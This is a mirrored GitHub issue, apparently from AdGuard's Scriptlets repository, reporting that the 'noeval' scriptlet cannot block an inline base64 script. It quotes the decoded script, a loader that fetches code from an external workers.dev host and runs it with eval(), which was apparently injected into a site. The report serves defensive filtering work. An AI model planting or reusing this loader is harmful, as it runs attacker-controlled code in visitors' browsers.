AdguardTeam / AdguardTeam/Scriptlets

Fix 'noeval' — cannot break inline 'data:text/javascript;base64' script

オープン
#358 コメント 3 件 リアクション 0 件 担当者 1 名 @maximtop が担当を希望しています GitHub で見る
bug Priority: P4
主要言語
JavaScript
スター
195
フォーク
33
PR マージ指標
30日以内にマージされた PR はありません

説明

### Inline script

``

### Decoded script

`const get_script=()=>{const request=new XMLHttpRequest();request.open('GET','https://dust-0001.delorazahnow.workers.dev/',false);request.send(null);return request.responseText;}
eval(get_script());`

### Expected behavior

'noeval' does not break encoded or decoded script.

Related to https://github.com/AdguardTeam/AdguardFilters/issues/160588 The script was probably added without the site owner's knowledge, and now the script is not on the site.

### Environment

Chrome 116
`AdGuard 4.2.167` or `AdGuard for Windows 7.15 n8`

コントリビューションガイド

このリポジトリのコントリビューションガイドは索引されていません

評価

この issue はまだ評価されていません。

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。